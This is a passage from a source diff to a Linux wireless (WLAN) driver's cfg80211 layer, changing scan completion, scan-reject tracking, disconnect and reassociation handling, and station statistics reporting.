VOS_TRACE_LEVEL_INFO, "%s: TDLS Peer is QOS capable isQosWmmSta= %d HTcapPresent= %d", @@ -9852,6 +12107,40 @@ static struct cfg80211_bss* wlan_hdd_cfg80211_inform_bss( rssi, GFP_KERNEL ); } +/* + * wlan_hdd_cfg80211_update_bss_list :to inform nl80211 + * interface that BSS might have been lost. + * @pAdapter: adaptor + * @bssid: bssid which might have been lost + * + * Return: bss which is unlinked from kernel cache + */ +struct cfg80211_bss* wlan_hdd_cfg80211_update_bss_list( + hdd_adapter_t *pAdapter, tSirMacAddr bssid) +{ + struct net_device *dev = pAdapter->dev; + struct wireless_dev *wdev = dev->ieee80211_ptr; + struct wiphy *wiphy = wdev->wiphy; + struct cfg80211_bss *bss = NULL; + + bss = cfg80211_get_bss(wiphy, NULL, bssid, + NULL, + 0, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(4, 1, 0)) && !defined(WITH_BACKPORTS) \ + && !defined(IEEE80211_PRIVACY) + WLAN_CAPABILITY_ESS, WLAN_CAPABILITY_ESS); +#else + IEEE80211_BSS_TYPE_ESS, IEEE80211_PRIVACY_ANY); +#endif + if (bss == NULL) { + hddLog(LOGE, FL("BSS not present")); + } else { + hddLog(LOG1, FL("cfg80211_unlink_bss called for BSSID " + MAC_ADDRESS_STR), MAC_ADDR_ARRAY(bssid)); + cfg80211_unlink_bss(wiphy, bss); + } + return bss; +} /* @@ -9941,7 +12230,13 @@ wlan_hdd_cfg80211_inform_bss_frame( hdd_adapter_t *pAdapter, qie_age->oui_2 = QCOM_OUI2; qie_age->oui_3 = QCOM_OUI3; qie_age->type = QCOM_VENDOR_IE_AGE_TYPE; - qie_age->age = vos_timer_get_system_ticks() - bss_desc->nReceivedTime; + /* Lowi expects the timestamp of bss in units of 1/10 ms. In driver all + * bss related timestamp is in units of ms. Due to this when scan results + * are sent to lowi the scan age is high.To address this, send age in units + * of 1/10 ms. + */ + qie_age->age = (vos_timer_get_system_time() - + bss_desc->nReceivedTime)/10; #endif memcpy(mgmt->u.probe_resp.variable, ie, ie_length); @@ -9993,7 +12288,9 @@ wlan_hdd_cfg80211_inform_bss_frame( hdd_adapter_t *pAdapter, */ if(chan == NULL) { - hddLog(VOS_TRACE_LEVEL_ERROR, "%s chan pointer is NULL", __func__); + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("chan pointer is NULL, chan_no: %d freq: %d"), + chan_no, freq); kfree(mgmt); return NULL; } @@ -10073,6 +12370,7 @@ static int wlan_hdd_cfg80211_update_bss( struct wiphy *wiphy, tHalHandle hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); tCsrScanResultInfo *pScanResult; eHalStatus status = 0; + int ret; tScanResultHandle pResult; struct cfg80211_bss *bss_status = NULL; hdd_context_t *pHddCtx; @@ -10084,21 +12382,10 @@ static int wlan_hdd_cfg80211_update_bss( struct wiphy *wiphy, NO_SESSION, pAdapter->sessionId)); pHddCtx = WLAN_HDD_GET_CTX(pAdapter); - - if (pHddCtx->isLogpInProgress) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, - "%s:LOGP in Progress. Ignore!!!",__func__); - return -EAGAIN; - } - - - /*bss_update is not allowed during wlan driver loading or unloading*/ - if (WLAN_HDD_IS_LOAD_UNLOAD_IN_PROGRESS(pHddCtx)) + ret = wlan_hdd_validate_context(pHddCtx); + if (0 != ret) { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s:Loading_unloading in Progress. Ignore!!!",__func__); - return VOS_STATUS_E_PERM; + return ret; } if (pAdapter->request != NULL) @@ -10352,6 +12639,42 @@ VOS_STATUS wlan_hdd_cfg80211_roam_metrics_handover(hdd_adapter_t * pAdapter, } #endif + +/** + * wlan_hdd_cfg80211_validate_scan_req - validate scan request + * @scan_req: scan request to be checked + * + * Return: true or false + */ +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)) +static inline bool wlan_hdd_cfg80211_validate_scan_req(struct + cfg80211_scan_request + *scan_req) +{ + if (!scan_req || !scan_req->wiphy) { + hddLog(VOS_TRACE_LEVEL_ERROR, "Invalid scan request"); + return false; + } + if (vos_is_load_unload_in_progress(VOS_MODULE_ID_HDD, NULL)) { + hddLog(VOS_TRACE_LEVEL_ERROR, "Load/Unload in progress"); + return false; + } + return true; +} +#else +static inline bool wlan_hdd_cfg80211_validate_scan_req(struct + cfg80211_scan_request + *scan_req) +{ + if (!scan_req || !scan_req->wiphy) { + hddLog(VOS_TRACE_LEVEL_ERROR, "Invalid scan request"); + return false; + } + return true; +} +#endif + + /* * FUNCTION: hdd_cfg80211_scan_done_callback * scanning callback function, called after finishing scan @@ -10367,6 +12690,9 @@ static eHalStatus hdd_cfg80211_scan_done_callback(tHalHandle halHandle, struct cfg80211_scan_request *req = NULL; int ret = 0; bool aborted = false; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,14,0)) + bool iface_down = false; +#endif long waitRet = 0; tANI_U8 i; hdd_context_t *pHddCtx; @@ -10376,9 +12702,16 @@ static eHalStatus hdd_cfg80211_scan_done_callback(tHalHandle halHandle, pHddCtx = WLAN_HDD_GET_CTX(pAdapter); if (NULL == pHddCtx) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("HDD context is Null")); - goto allow_suspend; + return 0; } +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,14,0)) + if (!(pAdapter->dev->flags & IFF_UP)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("Interface is down")); + iface_down = true; + } +#endif pScanInfo = &pHddCtx->scan_info; hddLog(VOS_TRACE_LEVEL_INFO, @@ -10415,12 +12748,15 @@ static eHalStatus hdd_cfg80211_scan_done_callback(tHalHandle halHandle, (int) scanId); } - ret = wlan_hdd_cfg80211_update_bss((WLAN_HDD_GET_CTX(pAdapter))->wiphy, +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,14,0)) + if (!iface_down) +#endif + { + ret = wlan_hdd_cfg80211_update_bss((WLAN_HDD_GET_CTX(pAdapter))->wiphy, pAdapter); - - if (0 > ret) - hddLog(VOS_TRACE_LEVEL_INFO, "%s: NO SCAN result", __func__); - + if (0 > ret) + hddLog(VOS_TRACE_LEVEL_INFO, "%s: NO SCAN result", __func__); + } /* If any client wait scan result through WEXT * send scan done event to client */ @@ -10450,18 +12786,26 @@ static eHalStatus hdd_cfg80211_scan_done_callback(tHalHandle halHandle, /* Get the Scan Req */ req = pAdapter->request; + pAdapter->request = NULL; - if (!req) + /* Scan is no longer pending */ + pScanInfo->mScanPending = VOS_FALSE; + + if (!wlan_hdd_cfg80211_validate_scan_req(req)) { - hddLog(VOS_TRACE_LEVEL_ERROR, "request is became NULL"); - pScanInfo->mScanPending = VOS_FALSE; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,14,0)) + hddLog(VOS_TRACE_LEVEL_ERROR, FL("interface state %s"), + iface_down ? "up" : "down"); +#endif + + if (pAdapter->dev) { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("device name %s"), + pAdapter->dev->name); + } + complete(&pScanInfo->abortscan_event_var); goto allow_suspend; } - pAdapter->request = NULL; - /* Scan is no longer pending */ - pScanInfo->mScanPending = VOS_FALSE; - /* last_scan_timestamp is used to decide if new scan * is needed or not on station interface. If last station * scan time and new station scan time is less then @@ -10491,18 +12835,25 @@ static eHalStatus hdd_cfg80211_scan_done_callback(tHalHandle halHandle, { aborted = true; } - cfg80211_scan_done(req, aborted); + +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,14,0)) + if (!iface_down) +#endif + cfg80211_scan_done(req, aborted); + complete(&pScanInfo->abortscan_event_var); +allow_suspend: if ((pHddCtx->cfg_ini->enableMacSpoofing == MAC_ADDR_SPOOFING_FW_HOST_ENABLE ) && (pHddCtx->spoofMacAddr.isEnabled || pHddCtx->spoofMacAddr.isReqDeferred)) { /* Generate new random mac addr for next scan */ hddLog(VOS_TRACE_LEVEL_INFO, "scan completed - generate new spoof mac addr"); - hdd_processSpoofMacAddrRequest(pHddCtx); + + schedule_delayed_work(&pHddCtx->spoof_mac_addr_work, + msecs_to_jiffies(MAC_ADDR_SPOOFING_DEFER_INTERVAL)); } -allow_suspend: /* release the wake lock at the end of the scan*/ hdd_allow_suspend(WIFI_POWER_EVENT_WAKELOCK_SCAN); @@ -10512,8 +12863,11 @@ static eHalStatus hdd_cfg80211_scan_done_callback(tHalHandle halHandle, * to process the connect request to AP */ hdd_prevent_suspend_timeout(1000, WIFI_POWER_EVENT_WAKELOCK_SCAN); +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,14,0)) + if (!iface_down) +#endif #ifdef FEATURE_WLAN_TDLS - wlan_hdd_tdls_scan_done_callback(pAdapter); + wlan_hdd_tdls_scan_done_callback(pAdapter); #endif EXIT(); @@ -10525,7 +12879,8 @@ static eHalStatus hdd_cfg80211_scan_done_callback(tHalHandle halHandle, * Go through each adapter and check if Connection is in progress * */ -v_BOOL_t hdd_isConnectionInProgress( hdd_context_t *pHddCtx) +v_BOOL_t hdd_isConnectionInProgress(hdd_context_t *pHddCtx, v_U8_t *session_id, + scan_reject_states *reason) { hdd_adapter_list_node_t *pAdapterNode = NULL, *pNext = NULL; hdd_station_ctx_t *pHddStaCtx = NULL; @@ -10534,13 +12889,6 @@ v_BOOL_t hdd_isConnectionInProgress( hdd_context_t *pHddCtx) v_U8_t staId = 0; v_U8_t *staMac = NULL; - if (TRUE == pHddCtx->btCoexModeSet) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - FL("BTCoex Mode operation in progress")); - return VOS_TRUE; - } - status = hdd_get_front_adapter ( pHddCtx, &pAdapterNode ); while ( NULL != pAdapterNode && VOS_STATUS_SUCCESS == status ) @@ -10562,6 +12910,11 @@ v_BOOL_t hdd_isConnectionInProgress( hdd_context_t *pHddCtx) hddLog(VOS_TRACE_LEVEL_ERROR, "%s: %p(%d) Connection is in progress", __func__, WLAN_HDD_GET_STATION_CTX_PTR(pAdapter), pAdapter->sessionId); + if (session_id && reason) + { + *session_id = pAdapter->sessionId; + *reason = eHDD_CONNECTION_IN_PROGRESS; + } return VOS_TRUE; } if ((WLAN_HDD_INFRA_STATION == pAdapter->device_mode) && @@ -10570,6 +12923,11 @@ v_BOOL_t hdd_isConnectionInProgress( hdd_context_t *pHddCtx) hddLog(VOS_TRACE_LEVEL_ERROR, "%s: %p(%d) Reassociation is in progress", __func__, WLAN_HDD_GET_STATION_CTX_PTR(pAdapter), pAdapter->sessionId); + if (session_id && reason) + { + *session_id = pAdapter->sessionId; + *reason = eHDD_REASSOC_IN_PROGRESS; + } return VOS_TRUE; } if ((WLAN_HDD_INFRA_STATION == pAdapter->device_mode) || @@ -10585,6 +12943,11 @@ v_BOOL_t hdd_isConnectionInProgress( hdd_context_t *pHddCtx) "%s: client " MAC_ADDRESS_STR " is in the middle of WPS/EAPOL exchange.", __func__, MAC_ADDR_ARRAY(staMac)); + if (session_id && reason) + { + *session_id = pAdapter->sessionId; + *reason = eHDD_EAPOL_IN_PROGRESS; + } return VOS_TRUE; } } @@ -10610,6 +12973,11 @@ v_BOOL_t hdd_isConnectionInProgress( hdd_context_t *pHddCtx) "%s: client " MAC_ADDRESS_STR " of SoftAP/P2P-GO is in the " "middle of WPS/EAPOL exchange.", __func__, MAC_ADDR_ARRAY(staMac)); + if (session_id && reason) + { + *session_id = pAdapter->sessionId; + *reason = eHDD_SAP_EAPOL_IN_PROGRESS; + } return VOS_TRUE; } } @@ -10621,6 +12989,27 @@ v_BOOL_t hdd_isConnectionInProgress( hdd_context_t *pHddCtx) return VOS_FALSE; } +/** + * csr_scan_request_assign_bssid() - Set the BSSID received from Supplicant + * to the Scan request + * @scanRequest: Pointer to the csr scan request + * @request: Pointer to the scan request from supplicant + * + * Return: None + */ +#ifdef CFG80211_SCAN_BSSID +static inline void csr_scan_request_assign_bssid(tCsrScanRequest *scanRequest, + struct cfg80211_scan_request *request) +{ + vos_mem_copy(scanRequest->bssid, request->bssid, VOS_MAC_ADDR_SIZE); +} +#else +static inline void csr_scan_request_assign_bssid(tCsrScanRequest *scanRequest, + struct cfg80211_scan_request *request) +{ +} +#endif + /* * FUNCTION: __wlan_hdd_cfg80211_scan * this scan respond to scan trigger and update cfg80211 scan database @@ -10645,8 +13034,8 @@ int __wlan_hdd_cfg80211_scan( struct wiphy *wiphy, int ret = 0; v_U8_t *pWpsIe=NULL; bool is_p2p_scan = false; - v_S7_t rssi=0; - hdd_station_ctx_t *pHddStaCtx=NULL; + v_U8_t curr_session_id; + scan_reject_states curr_reason; #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,6,0)) struct net_device *dev = NULL; @@ -10679,17 +13068,10 @@ int __wlan_hdd_cfg80211_scan( struct wiphy *wiphy, { hddLog (VOS_TRACE_LEVEL_ERROR, "%s ERROR: invalid WEXT state\n", __func__); - return -EIO; - } - cfg_param = pHddCtx->cfg_ini; - pScanInfo = &pHddCtx->scan_info; - - pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); - if ( (pHddStaCtx != NULL) && (TRUE == hdd_connIsConnected(pHddStaCtx))) - { - wlan_hdd_get_roam_rssi(pAdapter, &rssi); - hddLog(VOS_TRACE_LEVEL_INFO, FL("rssi: %d"), rssi); + return -EIO; } + cfg_param = pHddCtx->cfg_ini; + pScanInfo = &pHddCtx->scan_info; #ifdef WLAN_BTAMP_FEATURE //Scan not supported when AMP traffic is on. @@ -10754,11 +13136,46 @@ int __wlan_hdd_cfg80211_scan( struct wiphy *wiphy, /* Check if scan is allowed at this point of time. */ - if (hdd_isConnectionInProgress(pHddCtx)) + if (TRUE == pHddCtx->btCoexModeSet) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + FL("BTCoex Mode operation in progress")); + return -EBUSY; + } + if (hdd_isConnectionInProgress(pHddCtx, &curr_session_id, &curr_reason)) { - hddLog(VOS_TRACE_LEVEL_ERROR, "%s: Scan not allowed", __func__); + hddLog(VOS_TRACE_LEVEL_ERROR, FL("Scan not allowed")); + if (pHddCtx->last_scan_reject_session_id != curr_session_id || + pHddCtx->last_scan_reject_reason != curr_reason || + !pHddCtx->last_scan_reject_timestamp) + { + pHddCtx->last_scan_reject_session_id = curr_session_id; + pHddCtx->last_scan_reject_reason = curr_reason; + pHddCtx->last_scan_reject_timestamp = vos_timer_get_system_time(); + } + else { + if ((vos_timer_get_system_time() - + pHddCtx->last_scan_reject_timestamp) >= + SCAN_REJECT_THRESHOLD_TIME) + { + pHddCtx->last_scan_reject_timestamp = 0; + if (pHddCtx->cfg_ini->enableFatalEvent) + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_SCAN_NOT_ALLOWED, + FALSE, FALSE); + else + { + hddLog(LOGE, FL("Triggering SSR")); + vos_wlanRestart(); + } + } + } return -EBUSY; } + pHddCtx->last_scan_reject_timestamp = 0; + pHddCtx->last_scan_reject_session_id = 0xFF; + pHddCtx->last_scan_reject_reason = 0; vos_mem_zero( &scanRequest, sizeof(scanRequest)); @@ -10818,6 +13235,8 @@ int __wlan_hdd_cfg80211_scan( struct wiphy *wiphy, scanRequest.minChnTime = cfg_param->nActiveMinChnTime; scanRequest.maxChnTime = cfg_param->nActiveMaxChnTime; + csr_scan_request_assign_bssid(&scanRequest, request); + /* set BSSType to default type */ scanRequest.BSSType = eCSR_BSS_TYPE_ANY; @@ -11032,14 +13451,15 @@ int __wlan_hdd_cfg80211_scan( struct wiphy *wiphy, dev, #endif request); - if(status <= 0) + if (status <= 0) { - if(!status) + if (!status) hddLog(VOS_TRACE_LEVEL_ERROR, "%s: TDLS in progress." "scan rejected %d", __func__, status); else hddLog(VOS_TRACE_LEVEL_ERROR, "%s: TDLS teardown is ongoing %d", __func__, status); + hdd_wlan_block_scan_by_tdls(); goto free_mem; } #endif @@ -11901,13 +14321,14 @@ int wlan_hdd_cfg80211_set_ie( hdd_adapter_t *pAdapter, pWextState->roamProfile.nRSNReqIELength = eLen + 2; //ie_len; break; - /* Appending Extended Capabilities with Interworking bit set - * in Assoc Req. + /* Appending extended capabilities with Interworking or + * bsstransition bit set in Assoc Req. * * In assoc req this EXT Cap will only be taken into account if - * interworkingService bit is set to 1. Currently - * driver is only interested in interworkingService capability - * from supplicant. If in future any other EXT Cap info is + * interworkingService or bsstransition bit is set to 1. + * Driver is only interested in interworkingService and + * bsstransition capability from supplicant. + * If in future any other EXT Cap info is * required from supplicat, it needs to be handled while * sending Assoc Req in LIM. */ @@ -12175,48 +14596,109 @@ int wlan_hdd_cfg80211_set_privacy(hdd_adapter_t *pAdapter, static int wlan_hdd_try_disconnect( hdd_adapter_t *pAdapter ) { long ret = 0; + int status, result = 0; hdd_station_ctx_t *pHddStaCtx; eMib_dot11DesiredBssType connectedBssType; + hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + ret = wlan_hdd_validate_context(pHddCtx); + if (0 != ret) + { + return ret; + } pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); hdd_connGetConnectedBssType(pHddStaCtx,&connectedBssType ); if((eMib_dot11DesiredBssType_independent == connectedBssType) || (eConnectionState_Associated == pHddStaCtx->conn_info.connState) || + (eConnectionState_Connecting == pHddStaCtx->conn_info.connState) || (eConnectionState_IbssConnected == pHddStaCtx->conn_info.connState)) { + spin_lock_bh(&pAdapter->lock_for_active_session); + if (eConnectionState_Associated == pHddStaCtx->conn_info.connState) + { + wlan_hdd_decr_active_session(pHddCtx, pAdapter->device_mode); + } + spin_unlock_bh(&pAdapter->lock_for_active_session); + hdd_connSetConnectionState(pHddStaCtx, + eConnectionState_Disconnecting); /* Issue disconnect to CSR */ INIT_COMPLETION(pAdapter->disconnect_comp_var); - if( eHAL_STATUS_SUCCESS == - sme_RoamDisconnect( WLAN_HDD_GET_HAL_CTX(pAdapter), + status = sme_RoamDisconnect(WLAN_HDD_GET_HAL_CTX(pAdapter), pAdapter->sessionId, - eCSR_DISCONNECT_REASON_UNSPECIFIED ) ) - { - ret = wait_for_completion_interruptible_timeout( + eCSR_DISCONNECT_REASON_UNSPECIFIED); + if(eHAL_STATUS_CMD_NOT_QUEUED == status) { + hddLog(LOG1, + FL("Already disconnected or connect was in sme/roam pending list and removed by disconnect")); + } else if ( 0 != status ) { + hddLog(LOGE, + FL("csrRoamDisconnect failure, returned %d"), + (int)status ); + result = -EINVAL; + goto disconnected; + } + ret = wait_for_completion_timeout( &pAdapter->disconnect_comp_var, msecs_to_jiffies(WLAN_WAIT_TIME_DISCONNECT)); - if (0 >= ret) - { - hddLog(LOGE, FL("Failed to receive disconnect event")); - return -EALREADY; - } + if (!ret && ( eHAL_STATUS_CMD_NOT_QUEUED != status)) { + hddLog(LOGE, + "%s: Failed to disconnect, timed out", __func__); + result = -ETIMEDOUT; } } else if(eConnectionState_Disconnecting == pHddStaCtx->conn_info.connState) { - ret = wait_for_completion_interruptible_timeout( + ret = wait_for_completion_timeout( &pAdapter->disconnect_comp_var, msecs_to_jiffies(WLAN_WAIT_TIME_DISCONNECT)); - if (0 >= ret) + if (!ret) { hddLog(LOGE, FL("Failed to receive disconnect event")); - return -EALREADY; + result = -ETIMEDOUT; } } +disconnected: + hddLog(LOG1, + FL("Set HDD connState to eConnectionState_NotConnected")); + pHddStaCtx->conn_info.connState = eConnectionState_NotConnected; + return result; +} - return 0; +/** + * wlan_hdd_reassoc_bssid_hint() - Start reassociation if bssid is present + * @adapter: Pointer to the HDD adapter + * @req: Pointer to the structure cfg_connect_params receieved from user space + * + * This function will start reassociation if bssid hint, channel hint and + * previous bssid parameters are present in the connect request + * + * Return: success if reassociation is happening + * Error code if reassociation is not permitted or not happening + */ +#ifdef CFG80211_CONNECT_PREV_BSSID +static int wlan_hdd_reassoc_bssid_hint(hdd_adapter_t *adapter, + struct cfg80211_connect_params *req) +{ + int status = -EPERM; + if (req->bssid_hint && req->channel_hint && req->prev_bssid) { + hddLog(VOS_TRACE_LEVEL_INFO, + FL("REASSOC Attempt on channel %d to "MAC_ADDRESS_STR), + req->channel_hint->hw_value, + MAC_ADDR_ARRAY(req->bssid_hint)); + status = hdd_reassoc(adapter, req->bssid_hint, + req->channel_hint->hw_value, + CONNECT_CMD_USERSPACE); + } + return status; +} +#else +static int wlan_hdd_reassoc_bssid_hint(hdd_adapter_t *adapter, + struct cfg80211_connect_params *req) +{ + return -EPERM; } +#endif /* * FUNCTION: __wlan_hdd_cfg80211_connect @@ -12228,6 +14710,13 @@ static int __wlan_hdd_cfg80211_connect( struct wiphy *wiphy, ) { int status; + u16 channel; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 15, 0)) || \ + defined(CFG80211_BSSID_HINT_BACKPORT) + const u8 *bssid_hint = req->bssid_hint; +#else + const u8 *bssid_hint = NULL; +#endif hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR( ndev ); VOS_STATUS exitbmpsStatus = VOS_STATUS_E_INVAL; hdd_context_t *pHddCtx = NULL; @@ -12256,10 +14745,10 @@ static int __wlan_hdd_cfg80211_connect( struct wiphy *wiphy, return status; } - if (vos_max_concurrent_connections_reached()) { - hddLog(VOS_TRACE_LEVEL_INFO, FL("Reached max concurrent connections")); - return -ECONNREFUSED; - } + status = wlan_hdd_reassoc_bssid_hint(pAdapter, req); + if (0 == status) + return status; + #ifdef WLAN_BTAMP_FEATURE //Infra connect not supported when AMP traffic is on. @@ -12287,6 +14776,11 @@ static int __wlan_hdd_cfg80211_connect( struct wiphy *wiphy, " connection")); return -EALREADY; } + /* Check for max concurrent connections after doing disconnect if any*/ + if (vos_max_concurrent_connections_reached()) { + hddLog(VOS_TRACE_LEVEL_INFO, FL("Reached max concurrent connections")); + return -ECONNREFUSED; + } /*initialise security parameters*/ status = wlan_hdd_cfg80211_set_privacy(pAdapter, req); @@ -12312,19 +14806,19 @@ static int __wlan_hdd_cfg80211_connect( struct wiphy *wiphy, return -ECONNREFUSED; } - if ( req->channel ) - { - status = wlan_hdd_cfg80211_connect_start(pAdapter, req->ssid, - req->ssid_len, req->bssid, - req->bssid_hint, - req->channel->hw_value); - } + if (req->channel) + channel = req->channel->hw_value; else - { - status = wlan_hdd_cfg80211_connect_start(pAdapter, req->ssid, - req->ssid_len, req->bssid, - req->bssid_hint, 0); - } + channel = 0; + + /* Abort if any scan is going on */ + status = wlan_hdd_scan_abort(pAdapter); + if (0 != status) + hddLog(VOS_TRACE_LEVEL_ERROR, FL("scan abort failed")); + + status = wlan_hdd_cfg80211_connect_start(pAdapter, req->ssid, + req->ssid_len, req->bssid, + bssid_hint, channel); if (0 != status) { @@ -12415,40 +14909,41 @@ int wlan_hdd_disconnect( hdd_adapter_t *pAdapter, u16 reason ) /*issue disconnect*/ status = sme_RoamDisconnect( WLAN_HDD_GET_HAL_CTX(pAdapter), pAdapter->sessionId, reason); - if(eHAL_STATUS_CMD_NOT_QUEUED == status) - { - hddLog(VOS_TRACE_LEVEL_INFO, - FL("status = %d, already disconnected"), - (int)status ); - + if(eHAL_STATUS_CMD_NOT_QUEUED == status) + { + hddLog(LOG1, + FL("Already disconnected or connect was in sme/roam pending list and removed by disconnect")); } else if ( 0 != status ) { - hddLog(VOS_TRACE_LEVEL_ERROR, - "%s csrRoamDisconnect failure, returned %d", - __func__, (int)status ); + hddLog(LOGE, + FL("csrRoamDisconnect failure, returned %d"), + (int)status); result = -EINVAL; goto disconnected; } - ret = wait_for_completion_interruptible_timeout( + ret = wait_for_completion_timeout( &pAdapter->disconnect_comp_var, msecs_to_jiffies(WLAN_WAIT_TIME_DISCONNECT)); - if (!ret && ( eHAL_STATUS_CMD_NOT_QUEUED != status )) + if (!ret && (eHAL_STATUS_CMD_NOT_QUEUED != status)) { - hddLog(VOS_TRACE_LEVEL_ERROR, + hddLog(LOGE, "%s: Failed to disconnect, timed out", __func__); result = -ETIMEDOUT; } - else if (ret == -ERESTARTSYS) - { - hddLog(VOS_TRACE_LEVEL_ERROR, - "%s: Failed to disconnect, wait interrupted", __func__); - result = -ERESTARTSYS; - } disconnected: - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + hddLog(LOG1, FL("Set HDD connState to eConnectionState_NotConnected")); pHddStaCtx->conn_info.connState = eConnectionState_NotConnected; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) + /* Sending disconnect event to userspace for kernel version < 3.11 + * is handled by __cfg80211_disconnect call to __cfg80211_disconnected + */ + hddLog(LOG1, FL("Send disconnected event to userspace")); + + wlan_hdd_cfg80211_indicate_disconnect(pAdapter->dev, true, + WLAN_REASON_UNSPECIFIED); +#endif EXIT(); return result; @@ -12884,6 +15379,9 @@ static int __wlan_hdd_cfg80211_leave_ibss( struct wiphy *wiphy, tCsrRoamProfile *pRoamProfile; hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); int status; +#ifdef WLAN_FEATURE_RMC + tANI_U8 addIE[WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA_LEN] = {0}; +#endif ENTER(); @@ -12916,6 +15414,41 @@ static int __wlan_hdd_cfg80211_leave_ibss( struct wiphy *wiphy, return -EINVAL; } +#ifdef WLAN_FEATURE_RMC + /* Clearing add IE of beacon */ + if (ccmCfgSetStr(pHddCtx->hHal, + WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA, &addIE[0], + WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA_LEN, + NULL, eANI_BOOLEAN_FALSE) != eHAL_STATUS_SUCCESS) + { + hddLog (VOS_TRACE_LEVEL_ERROR, + "%s: unable to clear PROBE_RSP_BCN_ADDNIE_DATA", __func__); + return -EINVAL; + } + if (ccmCfgSetInt(pHddCtx->hHal, + WNI_CFG_PROBE_RSP_BCN_ADDNIE_FLAG, 0, NULL, + eANI_BOOLEAN_FALSE) != eHAL_STATUS_SUCCESS) + { + hddLog (VOS_TRACE_LEVEL_ERROR, + "%s: unable to clear WNI_CFG_PROBE_RSP_BCN_ADDNIE_FLAG", + __func__); + return -EINVAL; + } + + // Reset WNI_CFG_PROBE_RSP Flags + wlan_hdd_reset_prob_rspies(pAdapter); + + if (ccmCfgSetInt(WLAN_HDD_GET_HAL_CTX(pAdapter), + WNI_CFG_PROBE_RSP_ADDNIE_FLAG, 0,NULL, + eANI_BOOLEAN_FALSE) == eHAL_STATUS_FAILURE) + { + hddLog (VOS_TRACE_LEVEL_ERROR, + "%s: unable to clear WNI_CFG_PROBE_RSP_ADDNIE_FLAG", + __func__); + return -EINVAL; + } +#endif + /* Issue Disconnect request */ INIT_COMPLETION(pAdapter->disconnect_comp_var); sme_RoamDisconnect( WLAN_HDD_GET_HAL_CTX(pAdapter), pAdapter->sessionId, @@ -13294,6 +15827,8 @@ static int __wlan_hdd_cfg80211_get_station(struct wiphy *wiphy, struct net_devic { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: Roaming in progress, so unable to proceed this request", __func__); + /* return a cached value */ + sinfo->signal = pAdapter->rssi; return 0; } @@ -13692,6 +16227,19 @@ static int __wlan_hdd_cfg80211_get_station(struct wiphy *wiphy, struct net_devic STATION_INFO_TX_RETRIES | STATION_INFO_TX_FAILED; + sinfo->rx_packets = pAdapter->hdd_stats.summary_stat.rx_frm_cnt; + sinfo->filled |= STATION_INFO_RX_PACKETS; + + if (rate_flags & eHAL_TX_RATE_LEGACY) + hddLog(LOG1, FL("Reporting RSSI:%d legacy rate %d pkt cnt tx %d rx %d"), + sinfo->signal, sinfo->txrate.legacy, sinfo->tx_packets, + sinfo->rx_packets); + else + hddLog(LOG1, + FL("Reporting RSSI:%d MCS rate %d flags 0x%x pkt cnt tx %d rx %d"), + sinfo->signal, sinfo->txrate.mcs, sinfo->txrate.flags, + sinfo->tx_packets, sinfo->rx_packets); + MTRACE(vos_trace(VOS_MODULE_ID_HDD, TRACE_CODE_HDD_CFG80211_GET_STA, pAdapter->sessionId, maxRate)); @@ -13787,6 +16335,7 @@ static int wlan_hdd_cfg80211_set_power_mgmt(struct wiphy *wiphy, return ret; } + #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)) static int __wlan_hdd_set_default_mgmt_key(struct wiphy *wiphy, struct net_device *netdev, @@ -14909,7 +17458,7 @@ static int __wlan_hdd_cfg80211_sched_scan_stop(struct wiphy *wiphy, // Assuming the PNO disable was success. // Returning error from here, because we timeout, results // in side effect of Wifi (Wifi Setting) not to work. - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, FL("Timed out waiting for PNO to be disabled")); ret = 0; } @@ -14990,6 +17539,7 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, int responder; long rc; int ret; + hddTdlsPeer_t *pTdlsPeer; #if !(TDLS_MGMT_VERSION2) && (LINUX_VERSION_CODE < KERNEL_VERSION(3,15,0)) u32 peer_capability = 0; #endif @@ -15134,7 +17684,6 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, } else { - hddTdlsPeer_t *pTdlsPeer; mutex_lock(&pHddCtx->tdls_lock); pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); if (pTdlsPeer && TDLS_IS_CONNECTED(pTdlsPeer)) @@ -15159,8 +17708,6 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, if (SIR_MAC_TDLS_TEARDOWN == action_code) { - 